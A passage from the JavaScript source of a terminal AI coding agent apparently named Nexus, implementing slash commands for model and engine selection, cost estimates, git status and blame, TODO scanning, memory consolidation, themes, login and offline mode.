            const improved = (out || "").trim().replace(/^["'`]+|["'`]+$/g, "").trim();
            if (!improved || /^error:/i.test(improved)) { blk.text = "couldn't improve the prompt (" + (improved || "no response") + ")"; render(); return; }
            blk.text = "sharpened prompt " + gray("(loaded into your input — edit, or press ↵ to run it)") + ":\n" + improved;
            input = improved; curPos = input.length; render();
          }).catch((e) => { busy = false; ctl = null; blk.text = "prompt sharpening failed: " + (e && e.message || e); render(); });
        }
      }
      else if (cmd === "/fallback") { if (arg === "off" || arg === "none") { fallback = ""; transcript.push({ role: "system", text: "fallback model cleared" }); } else if (arg) { fallback = arg; transcript.push({ role: "system", text: "fallback model set to " + arg + " — if the main model is rate-limited or unavailable, the claude engine automatically retries on it" + (engineCap(engine, "fallbackModel") ? "" : " · note: fallback applies to the claude engine") }); } else transcript.push({ role: "system", text: fallback ? ("fallback: " + fallback) : "no fallback set.  usage: /fallback <model>  (e.g. /fallback sonnet) — auto-switches when the main model is rate-limited" }); }
      else if (cmd === "/cheap") { lean = true; effort = "low"; transcript.push({ role: "system", text: "cheap mode ON — lean output + low effort (fewer output & thinking tokens). For maximum savings add a free local worker: /cowork " + (cowork.on ? cowork.strong : "opus") + " ollama:<local-model>  ·  or /engine ollama for fully free." }); }
      else if (cmd === "/estimate") { if (!argstr) transcript.push({ role: "system", text: "usage: /estimate <prompt> — rough token/cost estimate before you send it" }); else if (!PAID[engine]) transcript.push({ role: "system", text: "local engine — free (no token charges)" }); else { const inTok = Math.ceil(argstr.length / 4) + sess.ctxUsed; const outEst = lean ? 400 : 900; const mdl = cowork.on ? cowork.strong : sess.model; const pr = priceOf(mdl); const cost = (inTok / 1e6) * pr.in + (outEst / 1e6) * pr.out; transcript.push({ role: "system", text: "estimate on " + mdl + ": ~" + fmtK(inTok) + " input (your prompt + ~" + fmtK(sess.ctxUsed) + " current context) + ~" + outEst + " output  →  ~$" + cost.toFixed(4) + " (rough; " + (lean ? "lean on" : "add /lean to cut output") + ")" }); } }
      else if (cmd === "/models") {
        transcript.push({ role: "system", text: "checking local models…" }); render();
        ollamaTags().then((ms) => {
          const lines = ENGINE_ORDER.map((e) => {
            const m = ENGINES[e], on = engineAvail(e), cur = e === engine ? "  " + cyan("(current)") : "";
            const cat = e === "ollama" ? (ms.length ? ms.join(", ") : gray("none — `ollama pull gpt-oss:20b`"))
              : (m.models && m.models.length) ? m.models.join(" · ") : gray("configured inside the tool itself");
            return "  " + (on ? green("●") : gray("○")) + " " + e + gray(" · " + m.label) + cur + "\n      " + cat;
          }).join("\n");
          transcript.push({ role: "system", text: "models by engine (● installed) — /model <name> to set · /engine <name> to switch:\n" + lines + "\n  free cowork worker: /cowork opus ollama:<name>" });
          render();
        }).catch(() => { transcript.push({ role: "system", text: "could not reach Ollama for the local model list" }); render(); });
      }
      else if (cmd === "/recent") { try { let files = _cp.execSync("git log -12 --name-only --pretty=format:", { cwd, encoding: "utf8" }); let list = [...new Set(files.split("\n").filter(Boolean))]; if (!list.length) { try { list = [...new Set(_cp.execSync("git ls-files -m -o --exclude-standard", { cwd, encoding: "utf8" }).split("\n").filter(Boolean))]; } catch (_) {} } transcript.push({ role: "system", text: list.length ? ("recently changed files (last commits):\n" + list.slice(0, 30).map((f) => "  " + f).join("\n") + (list.length > 30 ? "\n  … +" + (list.length - 30) + " more" : "") + "\n(tip: /pin one to keep it in context)") : "no changes found" }); } catch (_) { transcript.push({ role: "system", text: "/recent needs a git repo" }); } }
      else if (cmd === "/keys") transcript.push({ role: "system", text: "keys:\n  Enter          send   ·   \\ then Enter = newline\n  Shift+Tab      cycle mode (normal / auto-accept / plan)\n  Ctrl+O         expand tool detail   ·   Ctrl+C  stop turn (again = quit)\n  ↑ / ↓          input history   ·   Tab  complete /command or @path\n  wheel · PgUp/PgDn · Home/End   scroll   (PgUp/PgDn also pages the / menu)\n  copy text:     /mouse off  (or hold Shift while selecting)\n  prefixes:  /command  ·  @file  ·  !shell  ·  #note" });
      else if (cmd === "/version" || cmd === "/about") transcript.push({ role: "system", text: "Nexus (darknode " + VERSION + ") — the multi-engine AI coding agent. Engines: claude · ollama (local) · opencode. Type / for the command menu." });
      else if (cmd === "/docs" || cmd === "/doc" || cmd === "/help?") { const key = (arg || "").toLowerCase().replace(/^\//, ""); scroll = 0; if (!key) transcript.push({ role: "system", text: "docs — /docs <topic> (or /docs all):\n" + DOC_ORDER.map((k) => "  " + k.padEnd(12) + NEXUS_DOCS[k].title).join("\n") }); else if (key === "all") transcript.push({ role: "system", text: DOC_ORDER.map((k) => "── " + NEXUS_DOCS[k].title + " ──\n" + NEXUS_DOCS[k].body).join("\n\n") }); else { const d = NEXUS_DOCS[key] || Object.entries(NEXUS_DOCS).find(([k, v]) => k.startsWith(key) || v.title.toLowerCase().includes(key))?.[1]; transcript.push({ role: "system", text: d ? (d.title + "\n\n" + d.body) : ("no doc topic '" + key + "' — /docs to list topics") }); } }
      else if (cmd === "/impact") { const BLEND = 6; const avoided = (impact.localTok / 1e6) * BLEND; transcript.push({ role: "system", text: "Impact Receipt (this session):\n  local turns   " + impact.localTurns + "   free · ~" + fmtK(impact.localTok) + " tokens\n  cloud turns   " + impact.cloudTurns + "   ↑" + fmtK(impact.cloudInTok) + " ↓" + fmtK(impact.cloudOutTok) + " tok · $" + impact.cloudCost.toFixed(4) + "\n  cost avoided  ~$" + avoided.toFixed(4) + "   (est. if those local turns had run on the cloud @ ~$" + BLEND + "/M tokens)" + (cowork.on || impact.delegated ? "\n  cowork        " + impact.delegated + " task(s) delegated to " + (cowork.weak || "the weak model") + " · ~$" + impact.coworkSaved.toFixed(4) + " saved" : "") + (impact.cachedHits ? "\n  cache hits    " + impact.cachedHits + " free repeat(s) · ~$" + impact.cachedSaved.toFixed(4) + " saved" : "") + (impact.squeezeTok ? "\n  squeezed      ~" + fmtK(impact.squeezeTok) + " input tokens trimmed (dedup + whitespace)" : "") + "\n  net: spent $" + impact.cloudCost.toFixed(4) + ", avoided ~$" + (avoided + impact.coworkSaved + impact.cachedSaved).toFixed(4) }); }
      else if (cmd === "/cache") { const a2 = (arg || "").toLowerCase(); if (a2 === "off") { cacheOn = false; transcript.push({ role: "system", text: "response cache OFF — every turn runs fresh." }); } else if (a2 === "on") { cacheOn = true; transcript.push({ role: "system", text: "response cache ON — an exact repeat of a read-only answer is served free." }); } else if (a2 === "clear") { cacheClear(cwd); transcript.push({ role: "system", text: "response cache cleared (.nexus/cache)." }); } else { const s = cacheStats(cwd); transcript.push({ role: "system", text: "response cache " + (cacheOn ? green("ON") : red("OFF")) + "  ·  " + s.entries + " entr" + (s.entries === 1 ? "y" : "ies") + " · " + s.hits + " hit(s) · saved ~" + fmtK(s.savedTok) + " tokens" + (s.savedCost ? " ($" + s.savedCost.toFixed(4) + ")" : "") + "\n  serves an EXACT repeat of a read-only answer for free; changed context re-runs automatically.\n  /cache on · /cache off · /cache clear" }); } render(); }
      else if (cmd === "/gaps") { try { const files = _cp.execSync("git ls-files", { cwd, encoding: "utf8" }).split("\n").filter(Boolean); const found = []; for (const f of files) { try { if (fs.statSync(path.join(cwd, f)).size > 400000) continue; const lines = fs.readFileSync(path.join(cwd, f), "utf8").split("\n"); for (let i = 0; i < lines.length; i++) { const m = lines[i].match(/\b(TODO|FIXME|HACK|XXX|BUG)\b[:\s-]*(.*)/); if (m) found.push({ file: f, line: i + 1, kind: m[1], text: (m[2] || "").trim().slice(0, 80) }); } } catch (_) {} } if (arg === "plan") { if (!found.length) transcript.push({ role: "system", text: "no gaps to turn into a plan" }); else { plan = found.slice(0, 30).map((g) => ({ text: "resolve " + g.kind + " in " + g.file + ":" + g.line + (g.text ? " — " + g.text : ""), done: false })); savePlan(); transcript.push({ role: "system", text: "turned " + plan.length + " gap(s) into a plan — /plan run to work through them" }); transcript.push({ role: "plan" }); } } else transcript.push({ role: "system", text: found.length ? ("gaps (" + found.length + " TODO/FIXME/HACK/XXX/BUG):\n" + found.slice(0, 40).map((g) => "  " + g.file + ":" + g.line + "  " + g.kind + (g.text ? " " + g.text : "")).join("\n") + (found.length > 40 ? "\n  … and " + (found.length - 40) + " more" : "") + "\n/gaps plan turns these into a checklist") : "no TODO/FIXME/HACK/XXX/BUG markers in tracked files" }); } catch (_) { transcript.push({ role: "system", text: "/gaps needs a git repo (uses git ls-files)" }); } }
      else if (cmd === "/dream") { const conv = transcript.filter((m) => m.role === "user" || m.role === "nexus").slice(-16); if (!conv.length) { transcript.push({ role: "system", text: "nothing to consolidate yet — have a conversation first" }); render(); return; } transcript.push({ role: "user", text: "/dream" }); const block = { role: "nexus", items: [] }; transcript.push(block); scroll = 0; busy = true; busyStart = Date.now(); busyWord = "Dreaming"; ctl = makeCtl(); const card = { type: "tool", id: "dr", name: "Task", label: "Task(consolidate memory)", status: "run", start: Date.now() }; block.items.push(card); startTick(); render(); (async () => {
        const digest = conv.map((m) => m.role === "user" ? "USER: " + m.text : "NEXUS: " + (m.items || []).filter((it) => it.type === "text").map((it) => it.full).join(" ")).join("\n").slice(0, 4000);
        const dreamPrompt = "From this coding session, extract 3-8 durable, reusable facts about THIS project (conventions, gotchas, key files, decisions). Output ONLY bullet points, one per line starting with '- '. No preamble.\n\n" + digest;
        let out = ""; try { out = cowork.on ? await weakChat(dreamPrompt) : await engineAnswer(offline ? "ollama" : engine, dreamPrompt); } catch (_) {}
        const bullets = (out || "").split("\n").map((l) => l.trim()).filter((l) => /^[-*]\s/.test(l)).map((l) => l.replace(/^[*]\s/, "- "));
        card.status = "ok"; card.end = Date.now();
        if (bullets.length) { try { const md = path.join(cwd, ".nexus", "NEXUS.md"); fs.mkdirSync(path.join(cwd, ".nexus"), { recursive: true }); let c = ""; try { c = fs.readFileSync(md, "utf8"); } catch (_) {} if (!/\n##\s*Notes/.test(c)) c += (c && !c.endsWith("\n") ? "\n" : "") + "\n## Notes\n"; const lc = c.toLowerCase(); const added = []; for (const b of bullets) { const key = b.toLowerCase().replace(/[^a-z0-9 ]/g, "").slice(0, 28); if (key.length > 8 && !lc.includes(key)) { c += b + "\n"; added.push(b); } } fs.writeFileSync(md, c); ensureText().full = added.length ? ("consolidated " + added.length + " new fact(s) into .nexus/NEXUS.md:\n\n" + added.join("\n")) : "reviewed the session — everything's already in NEXUS.md"; } catch (e) { ensureText().full = "could not write memory: " + e.message; } } else ensureText().full = "no durable facts found to consolidate.";
        busy = false; ctl = null; try { saveSession(); } catch (_) {} render();
      })(); }
      else if (cmd === "/plan") { const s = arg;
        if (!s) { if (plan.length) transcript.push({ role: "plan" }); else transcript.push({ role: "system", text: "no plan yet — /plan <goal> to create an executable checklist" }); }
        else if (s === "run") runPlan();
        else if (s === "clear") { plan = []; savePlan(); transcript.push({ role: "system", text: "plan cleared" }); }
        else if (s === "add") { const txt = argstr.split(/\s+/).slice(1).join(" "); if (txt) { plan.push({ text: txt, done: false }); savePlan(); transcript.push({ role: "plan" }); } else transcript.push({ role: "system", text: "usage: /plan add <task text>" }); }
        else if (s === "done") { const n = parseInt(argstr.split(/\s+/)[1], 10); if (plan[n - 1]) { plan[n - 1].done = !plan[n - 1].done; savePlan(); transcript.push({ role: "plan" }); } else transcript.push({ role: "system", text: "no task #" + argstr.split(/\s+/)[1] }); }
        else planGen(argstr); }
      else if (cmd === "/git") { try { const br = _cp.execSync("git branch --show-current", { cwd, encoding: "utf8" }).trim(); const st = _cp.execSync("git -c color.ui=never status --porcelain", { cwd, encoding: "utf8" }).trim(); const log = _cp.execSync("git -c color.ui=never log --oneline -8", { cwd, encoding: "utf8" }).trim(); transcript.push({ role: "system", text: "branch: " + (br || "(detached)") + "\n\nstatus:\n" + (st ? st.split("\n").map((l) => "  " + l).join("\n") : "  working tree clean") + "\n\nrecent commits:\n" + log.split("\n").map((l) => "  " + l).join("\n") }); } catch (_) { transcript.push({ role: "system", text: "not a git repo (or git not installed)" }); } }
      else if (cmd === "/blame") { if (!arg) transcript.push({ role: "system", text: "usage: /blame <file>  — shows who last changed each of the first lines" }); else { try { const b = _cp.execSync("git blame -L 1,40 --date=short -- " + JSON.stringify(arg), { cwd, encoding: "utf8" }); transcript.push({ role: "system", text: "blame " + arg + " (first 40 lines):\n" + b.replace(/\n+$/, "") }); } catch (e) { transcript.push({ role: "system", text: "blame failed: " + String(e.message).split("\n")[0] }); } } }
      else if (cmd === "/index") { const n = buildIndex(); transcript.push({ role: "system", text: "indexed " + n + " file(s) → .nexus/index.json. The local engine will now auto-pull the most relevant files into each prompt." }); }
      else if (cmd === "/radar") { try { transcript.push({ role: "system", text: radarScan(path.resolve(cwd, arg || ".")) }); } catch (e) { transcript.push({ role: "system", text: "radar failed: " + e.message }); } }
      else if (cmd === "/audit") { try { transcript.push({ role: "system", text: autoReview(arg || "", cwd) }); } catch (e) { transcript.push({ role: "system", text: "audit failed: " + e.message }); } }
      else if (cmd === "/diffexplain" || cmd === "/diff-explain") { try { transcript.push({ role: "system", text: explainDiff(arg || "", cwd) }); } catch (e) { transcript.push({ role: "system", text: "diff-explain failed: " + e.message }); } }
      else if (cmd === "/testgen" || cmd === "/test-gen") { try { transcript.push({ role: "system", text: generateTests(arg || "", cwd) }); } catch (e) { transcript.push({ role: "system", text: "testgen failed: " + e.message }); } }
      else if (cmd === "/verify") { const cmds = detectVerify(); const kind = (arg || "").trim().toLowerCase(); const chosen = (kind && cmds[kind]) ? { kind, cmd: cmds[kind] } : pickVerify(cmds); if (!chosen) { transcript.push({ role: "system", text: "no test/build command detected here. Detected: " + (Object.keys(cmds).filter((k) => k !== "source" && k !== "pm").join(", ") || "none") }); } else { transcript.push({ role: "system", text: "verifying: " + chosen.cmd + "  (" + chosen.kind + ")…" }); render(); coderShell(chosen.cmd, cwd).then((r) => { transcript.push({ role: "system", text: (r.code === 0 ? green("✓ verify passed") : red("✗ verify failed (exit " + r.code + ")")) + "  " + chosen.cmd + "\n" + compactOutput(r.output, 4000) }); render(); }); } }
      else if (cmd === "/map") { const a2 = (arg || "").trim().toLowerCase(); if (a2 === "off") { repoMapOn = false; transcript.push({ role: "system", text: "repo map off — new sessions/turns won't be auto-oriented (turn back on with /map on)." }); } else if (a2 === "on") { repoMapOn = true; repoMapSent = false; transcript.push({ role: "system", text: "repo map on — the next turn will orient the agent with a ranked file+symbol map." }); } else { const rm = getRepoMap({ fresh: true }); transcript.push({ role: "system", text: rm && rm.map && rm.map.fileCount ? rm.text : "no source files found to map here." }); } }
      else if (cmd === "/snippet" || cmd === "/snip") {
        const sub = arg, name = argstr.split(/\s+/)[1], body = argstr.split(/\s+/).slice(2).join(" ");
        if (sub === "save" && name && body) { snippets[name] = body; saveSnippets(); transcript.push({ role: "system", text: "saved snippet '" + name + "' — use it with /snippet " + name + " (or /snip)" }); }
        else if ((sub === "del" || sub === "rm") && name) { if (snippets[name]) { delete snippets[name]; saveSnippets(); transcript.push({ role: "system", text: "deleted snippet '" + name + "'" }); } else transcript.push({ role: "system", text: "no snippet '" + name + "'" }); }
        else if (sub && snippets[sub]) { const rest = argstr.split(/\s+/).slice(1).join(" "); submit(snippets[sub].replace(/\$ARGUMENTS/g, rest).replace(/\$(\d+)/g, (_, n) => rest.split(/\s+/)[+n - 1] || "")); }
        else transcript.push({ role: "system", text: "usage:  /snippet save <name> <text…>   ·   /snippet <name> [args]   ·   /snippet del <name>   ·   /snippets to list" }); }
      else if (cmd === "/snippets") { const ks = Object.keys(snippets); transcript.push({ role: "system", text: ks.length ? ("saved snippets:\n" + ks.map((k) => "  " + k + "  " + gray(oneline(snippets[k], 50))).join("\n")) : "no snippets yet — /snippet save <name> <text>" }); }
      else if (cmd === "/explain") { if (arg) submit("Explain, in plain English, what @" + arg + " does and how it works. Do not modify anything."); else { let d = ""; try { d = _cp.execSync("git -c color.ui=never diff HEAD", { cwd, encoding: "utf8" }); } catch (_) {} if (!d.trim()) transcript.push({ role: "system", text: "no uncommitted changes to explain — try /explain <file>" }); else submit("Explain, in plain English, what these uncommitted changes do (do not modify anything):\n\n" + d.slice(0, 4000)); } }
      else if (cmd === "/test") { if (!arg) transcript.push({ role: "system", text: "usage: /test <file> — generate thorough unit tests for it and run them" }); else submit("Write thorough unit tests for @" + arg + ", save them in this project's conventional test location/framework, then run the tests."); }
      else if (cmd === "/refactor") { if (!argstr) transcript.push({ role: "system", text: "usage: /refactor <file or area> — restructure it for clarity WITHOUT changing behavior (runs the tests after to prove it)" }); else submit("Refactor " + argstr + " for clarity, structure, and maintainability WITHOUT changing its observable behavior or public API. If tests exist, run them afterward and make sure they still pass; otherwise verify by exercising the code. Then summarize what you changed and why."); }
      else if (cmd === "/migrate") { if (!argstr) transcript.push({ role: "system", text: "usage: /migrate <from> to <to> — e.g. /migrate CommonJS to ESM · /migrate express 4 to 5 · /migrate callbacks to async/await" }); else submit("Migrate this project: " + argstr + ". Do it incrementally and safely — update the code plus any config/build, fix every import/usage across the project, and keep it building with tests passing. Then summarize the migration and flag anything needing manual follow-up."); }
      else if (cmd === "/pr") openPr();
      else if (cmd === "/tree") { const root = path.resolve(cwd, arg || "."); const out = { lines: [], count: 0 }; const walk = (dir, prefix, depth) => { if (depth > 4 || out.count > 250) return; let ents; try { ents = fs.readdirSync(dir, { withFileTypes: true }); } catch (_) { return; } ents = ents.filter((e) => !/^(\.git|node_modules|\.nexus|dist|build|\.cache|\.next|target|__pycache__)$/.test(e.name)).sort((a, b) => (b.isDirectory() - a.isDirectory()) || a.name.localeCompare(b.name)); ents.forEach((e, i) => { if (out.count > 250) return; const last = i === ents.length - 1; out.lines.push(prefix + (last ? "└─ " : "├─ ") + e.name + (e.isDirectory() ? "/" : "")); out.count++; if (e.isDirectory()) walk(path.join(dir, e.name), prefix + (last ? "   " : "│  "), depth + 1); }); }; walk(root, "", 0); transcript.push({ role: "system", text: (arg || ".") + "/\n" + (out.lines.join("\n") || "(empty)") + (out.count > 250 ? "\n… (truncated at 250 entries)" : "") }); }
      else if (cmd === "/stats") { const s = summarizeStats(scanStats(cwd)); if (!s.totalFiles) { transcript.push({ role: "system", text: "no recognized source files found here" }); } else { const kb = (n) => n >= 1e6 ? (n / 1e6).toFixed(1) + " MB" : (n / 1e3).toFixed(0) + " KB"; const langs = rankedLangs(s); const w = Math.max.apply(null, langs.map((l) => l[0].length)); const rows = langs.slice(0, 12).map(([k, v]) => "  " + cyan(k.padEnd(w)) + "  " + String(v.files).padStart(4) + gray(" files ") + String(v.lines).padStart(7) + gray(" lines")); const big = s.largest.slice(0, 6).map((f) => "  " + gray(String(f.lines).padStart(6) + "  ") + f.file); transcript.push({ role: "system", text: bold("codebase") + gray("  " + s.totalFiles + " files · " + s.totalLines.toLocaleString() + " lines · " + kb(s.totalBytes) + " · " + langs.length + " languages") + "\n" + rows.join("\n") + "\n\n" + bold("largest files") + "\n" + big.join("\n") }); } }
      else if (cmd === "/env") { const { used, files: sf } = scanEnvTree(cwd); const { declared, files: ef } = readEnvFiles(cwd); const a = auditEnv({ used, declared }); const lines = [bold("env vars") + gray("  " + used.length + " referenced in code · " + declared.length + " documented" + (ef.length ? " (" + ef.join(", ") + ")" : " (no .env.example)"))]; if (a.undocumented.length) lines.push(red("  undocumented (" + a.undocumented.length + ")") + gray(" — used in code, missing from .env.example:") + "\n    " + a.undocumented.join(", ")); if (a.unused.length) lines.push(yellow("  unused (" + a.unused.length + ")") + gray(" — in a .env template but never read:") + "\n    " + a.unused.join(", ")); if (!a.undocumented.length && !a.unused.length) lines.push(green("  clean") + gray(" — code and .env templates agree (common runtime vars ignored)")); transcript.push({ role: "system", text: lines.join("\n") }); }
      else if (cmd === "/deps") { let pkg = null; try { pkg = JSON.parse(fs.readFileSync(path.join(cwd, "package.json"), "utf8")); } catch (_) {} if (!pkg) { transcript.push({ role: "system", text: "no package.json here — /deps audits Node/JS dependency hygiene" }); } else { const a = auditDeps({ pkg, specifiers: scanImports(cwd) }); const lines = [bold("dependencies") + gray("  " + a.declared.length + " declared · " + a.used.length + " imported")]; if (a.missing.length) lines.push(red("  missing (" + a.missing.length + ")") + gray(" — imported but NOT in package.json:") + "\n    " + a.missing.join(", ")); if (a.unused.length) lines.push(yellow("  unused (" + a.unused.length + ")") + gray(" — declared but never imported (may be CLI/config-only):") + "\n    " + a.unused.join(", ")); if (!a.missing.length && !a.unused.length) lines.push(green("  clean") + gray(" — declared and imported sets match")); transcript.push({ role: "system", text: lines.join("\n") }); } }
      else if (cmd === "/todo") { const filter = (arg || "").trim().toUpperCase(); const { items, files } = scanTodos(cwd); const list = filter ? items.filter((it) => it.tag === filter) : items; if (!list.length) { transcript.push({ role: "system", text: filter ? ("no " + filter + " markers found in " + files + " file(s)") : ("no TODO/FIXME/HACK markers in " + files + " scanned file(s) — clean.") }); } else { const s = summarizeTodos(list); const shown = rankTodos(list).slice(0, 60); const head = bold("tech debt") + gray("  " + s.total + " marker" + (s.total === 1 ? "" : "s") + " · " + s.files + " file" + (s.files === 1 ? "" : "s") + "   ") + TODO_TAGS.filter((t) => s.byTag[t]).map((t) => yellow(t) + " " + s.byTag[t]).join(gray(" · ")); const body = shown.map((it) => "  " + cyan(it.file + ":" + it.line) + "  " + yellow(it.tag) + (it.text ? "  " + it.text : "")).join("\n"); transcript.push({ role: "system", text: head + "\n" + body + (s.total > shown.length ? gray("\n  … +" + (s.total - shown.length) + " more") : "") + gray("\n  /todo <TAG> to filter · ask me to fix them") }); } }
      else if (cmd === "/theme") {
        if (arg && THEMES[arg]) { applyTheme(arg); const st = readGlobal("state.json", {}) || {}; st.theme = arg; writeGlobal("state.json", st); transcript.push({ role: "system", text: "theme set to " + arg + " — recolored the accent, logo & boot gradient (saved)" }); }
        else { const sw = (t) => THEMES[t].grad.map((g) => "\x1b[" + g + "m█\x1b[0m").join(""); const list = Object.keys(THEMES).map((t) => "  " + (useColor ? sw(t) + "  " : "") + t).join("\n"); transcript.push({ role: "system", text: "themes (use /theme <name>):\n" + list }); }
      }
      else if (cmd === "/color") {
        const a = (arg || "").trim().toLowerCase();
        if (a === "reset") { const st = readGlobal("state.json", {}) || {}; delete st.accent; writeGlobal("state.json", st); setAccent((st.theme && THEMES[st.theme]) ? THEMES[st.theme].accent : THEMES.aurora.accent); transcript.push({ role: "system", text: "accent reset to the theme color (saved)" }); }
        else if (a) { const code = colorCode(a); if (!code) transcript.push({ role: "system", text: "unknown color '" + a + "' — try a name (/colors), a 0-255 code, or #rrggbb" }); else { setAccent(code); const st = readGlobal("state.json", {}) || {}; st.accent = code; writeGlobal("state.json", st); transcript.push({ role: "system", text: "accent set to " + a + " " + cyan("●") + " — recolored highlights (saved)" }); } }
        else { const sw = (c) => "\x1b[" + c + "m█████\x1b[0m"; transcript.push({ role: "system", text: "accent colors (use /color <name|0-255|#hex>, or /color reset):\n" + Object.entries(COLORS).map(([n, c]) => "  " + (useColor ? sw(c) + "  " : "") + n).join("\n") }); }
      }
      else if (cmd === "/colors") { const sw = (c) => "\x1b[" + c + "m█████\x1b[0m"; transcript.push({ role: "system", text: "accent colors (use /color <name>):\n" + Object.entries(COLORS).map(([n, c]) => "  " + (useColor ? sw(c) + "  " : "") + n).join("\n") }); }
      else if (cmd === "/gradient") {
        const a = (arg || "").trim().toLowerCase(); const st = readGlobal("state.json", {}) || {};
        if (a === "reset") { delete st.gradient; writeGlobal("state.json", st); GRAD = (st.theme && THEMES[st.theme]) ? THEMES[st.theme].grad : THEMES.aurora.grad; transcript.push({ role: "system", text: "logo gradient reset to the theme (saved)" }); }
        else if (a && THEMES[a]) { GRAD = THEMES[a].grad.slice(); st.gradient = GRAD; writeGlobal("state.json", st); transcript.push({ role: "system", text: "logo gradient set to " + a + " — " + GRAD.map((g) => "\x1b[" + g + "m█\x1b[0m").join("") + " (saved)" }); }
        else { const sw = (t) => THEMES[t].grad.map((g) => "\x1b[" + g + "m█\x1b[0m").join(""); transcript.push({ role: "system", text: "logo gradients (use /gradient <name>, or /gradient reset):\n" + Object.keys(THEMES).map((t) => "  " + (useColor ? sw(t) + "  " : "") + t).join("\n") }); }
      }
      else if (cmd === "/mouse") {
        const a = (arg || "").trim().toLowerCase();
        const on = a === "on" ? true : a === "off" ? false : !mouseOn;
        setMouse(on); const st = readGlobal("state.json", {}) || {}; st.mouse = on; writeGlobal("state.json", st);
        transcript.push({ role: "system", text: on ? "mouse capture ON — wheel scrolls the transcript & slash menu. To select/copy text: /mouse off (or hold Shift while dragging)." : "mouse capture OFF — select & copy text natively now. Scroll with PgUp/PgDn · Home/End · ↑/↓ in the menu. /mouse on to re-enable wheel." });
      }
      else if (cmd === "/offline") { offline = !offline; if (offline && (PAID[engine] || apiConfigured())) { if (apiConfigured()) delete process.env.DARKNODE_API_BASE; engine = "ollama"; sess.model = "ollama"; sess.ctxWindow = CTXW.ollama || 8192; sess.inTok = 0; sess.outTok = 0; sess.cost = 0; sess.ctxUsed = 0; cont = false; oMsgs.length = 1; transcript.push({ role: "system", text: "offline lock ON — switched to the local engine; cloud engines and remote APIs are blocked, nothing leaves this machine" }); } else transcript.push({ role: "system", text: offline ? "offline lock ON — cloud engines & remote APIs blocked; nothing leaves this machine" : "offline lock off — cloud engines allowed again" }); }
      else if (cmd === "/checkpoints") { transcript.push({ role: "system", text: checkpoints.length ? ("checkpoints (newest last):\n" + checkpoints.map((c, i) => "  #" + (i + 1) + "  " + c.label).join("\n") + "\n/undo restores the most recent") : "no checkpoints yet" }); }
      else if (cmd === "/init") { try { const dir = path.join(cwd, ".nexus"); fs.mkdirSync(dir, { recursive: true }); const md = path.join(dir, "NEXUS.md"), cfg = path.join(dir, "config.json"); const made = []; if (!fs.existsSync(md)) { fs.writeFileSync(md, "# Nexus project instructions\n\nNexus loads this file every session.\n\n## Project\n- (describe your project)\n\n## Conventions\n- (style, patterns to follow)\n\n## Build / run / test\n- (commands)\n"); made.push("NEXUS.md"); } if (!fs.existsSync(cfg)) { fs.writeFileSync(cfg, JSON.stringify({ engine, model: "" }, null, 2) + "\n"); made.push("config.json"); } secureNexus(cwd); if (gitignoreNexus(cwd)) made.push(".gitignore"); transcript.push({ role: "system", text: made.length ? "initialized .nexus/ (" + made.join(", ") + ") — edit NEXUS.md to give Nexus project context" : ".nexus/ already exists" }); } catch (e) { transcript.push({ role: "system", text: "init failed: " + e.message }); } }
      else if (cmd === "/login") {
        const a0 = (arg || "").trim();
        if (!a0) { const a = nexusAuth(); transcript.push({ role: "system", text: (a ? "signed in as " + (a.name || a.email || a.uid) + "\n" : "") + "paste your code from the website (Settings → Nexus CLI): type  /login <code>\n(advanced: /login google or /login github)" }); }
        else {
          const isProv = ["google", "g", "github", "gh"].includes(a0.toLowerCase());
          const blk = { role: "system", text: isProv ? "/login " + a0 + "…" : "verifying your code…" }; transcript.push(blk); busy = true; ctl = makeCtl(); scroll = 0; render();
          const log = (s) => { blk.text += "\n" + s; render(); };
          const p = isProv ? nexusLogin(a0.toLowerCase(), log) : nexusLoginCode(a0, log);
          p.then(() => { busy = false; ctl = null; render(); }).catch((e) => { blk.text += "\n" + red(e.message); busy = false; ctl = null; render(); });
        }
      }
      else if (cmd === "/logout") transcript.push({ role: "system", text: nexusLogout() ? "signed out." : "was not signed in." });
      else if (cmd === "/whoami") { const a = nexusAuth(); transcript.push({ role: "system", text: a ? (a.name || a.email || a.uid) + "  (" + String(a.provider).replace(".com", "") + ")" : "not signed in — /login google or /login github" }); }
      else if (cmd === "/setup") { const blk = { role: "system", text: "checking setup…" }; transcript.push(blk); busy = true; ctl = makeCtl(); scroll = 0; render(); const log = (s) => { blk.text += "\n" + s; render(); }; nexusSetup({ log, auto: true }).then(() => { busy = false; ctl = null; render(); }).catch((e) => { blk.text += "\n" + red(e.message); busy = false; ctl = null; render(); }); }
      else if (cmd === "/model") {
        const eng = ENGINES[engine] || {};
        const setModel = (name) => { sess.model = name; sess.userModel = true; const known = engine === "ollama" || (eng.models || []).includes(name); const note = known ? "" : ((eng.models && eng.models.length) ? gray("  (not in " + engine + "'s known list — using it anyway)") : ""); transcript.push({ role: "system", text: "model set to " + bold(name) + note }); };
        const show = (names, tag) => {
          modelPick = names.slice();
          const cur = sess.model && sess.model !== engine ? sess.model : (eng.model || "engine default");
          const list = names.length ? names.map((n, i) => "  " + gray((i + 1) + ".") + " " + (n === sess.model ? bold(cyan(n)) + cyan("  ← current") : n)).join("\n") : "  " + gray("(no preset list — /model <name> to set one)");
          transcript.push({ role: "system", text: engine + " models" + (tag ? " " + gray(tag) : "") + "  ·  current: " + cyan(cur) + "\n" + list + "\n  " + gray("set with /model <name>  or  /model <number>") }); render();
        };
        const a = (arg || "").trim();
        if (/^\d+$/.test(a)) { if (modelPick[+a - 1]) setModel(modelPick[+a - 1]); else transcript.push({ role: "system", text: "run /model first to see the numbered list, then /model <number>" }); }
        else if (a) setModel(a);
        else if (engine === "ollama") { transcript.push({ role: "system", text: "listing local models…" }); render(); ollamaTags().then((ms) => show(ms, "(installed)")).catch(() => show([], "(Ollama unreachable)")); }
        else show(eng.models || [], (eng.models && eng.models.length) ? "" : "(configured inside the tool)");
      }
      else if (cmd === "/marketplace" || cmd === "/market") {
        const sub = (arg || "").toLowerCase();
        const mpDir = path.join(cwd, ".nexus", "marketplace");
        const globalMp = path.join(os.homedir(), ".darknode", "marketplace");
        const loadPkgs = (dir) => { try { return fs.readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => { try { return JSON.parse(fs.readFileSync(path.join(dir, f), "utf8")); } catch (_) { return null; } }).filter(Boolean); } catch (_) { return []; } };
        if (sub === "init" || sub === "publish") {
          const pkgPath = path.join(mpDir, "package.json");
          if (fs.existsSync(pkgPath)) transcript.push({ role: "system", text: "marketplace package already exists at .nexus/marketplace/package.json" });
          else {
            try {
              fs.mkdirSync(mpDir, { recursive: true });
